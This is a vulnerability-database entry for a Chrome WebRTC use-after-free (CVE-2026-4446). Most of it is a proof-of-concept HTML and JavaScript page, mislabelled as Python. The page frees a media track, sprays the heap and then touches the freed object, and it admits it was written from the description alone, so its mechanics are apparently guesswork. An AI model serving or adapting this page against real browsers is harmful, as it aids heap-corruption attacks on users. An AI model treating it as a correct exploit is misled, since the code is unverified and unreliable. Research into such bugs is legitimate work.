Use after free in WebRTC in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-4446: Google Chrome WebRTC Use-After-Free
This script attempts to trigger a UAF in the WebRTC component.
Note: This is a simplified demonstration based on the vulnerability description.
-->
<html>
<head><title>CVE-2026-4446 PoC</title></head>
<body>
<script>
// Function to attempt triggering the UAF
async function exploit() {
console.log("[+] Starting PoC for CVE-2026-4446...");
// Create a PeerConnection to interact with WebRTC
const pc = new RTCPeerConnection();
try {
// Get user media to create a MediaStreamTrack
const stream = await navigator.mediaDevices.getUserMedia({video: true});
const track = stream.getVideoTracks()[0];
// Add track to the PeerConnection (Allocation)
const sender = pc.addTrack(track, stream);
console.log("[+] Track added to PeerConnection.");
// Remove track to potentially free underlying object (Free)
pc.removeTrack(sender);
stream.getTracks().forEach(t => t.stop());
console.log("[+] Track removed and stopped.");
// Heap spraying / Memory pressure to reallocate the freed memory
// This increases the chance of the attacker controlling the freed object
const buffer_size = 1024 * 1024;
const spray_array = [];
for (let i = 0; i < 100; i++) {
spray_array.push(new ArrayBuffer(buffer_size));
}
console.log("[+] Heap spray performed.");
// Attempt to use the freed object (Use-After-Free)
// Accessing properties of the PeerConnection or sender might trigger the crash
// This part depends on the specific implementation details of the vulnerable code
const stats = await pc.getStats(sender);
console.log("[+] Stats retrieved (potential UAF trigger).", stats);
} catch (e) {
console.error("[-] An exception occurred:", e);
}
console.log("[+] PoC execution finished.");
}
// Execute the exploit function
exploit();
</script>
<h1>CVE-2026-4446 Proof of Concept</h1>
<p>Check the browser console for output and potential crashes.</p>
</body>
</html>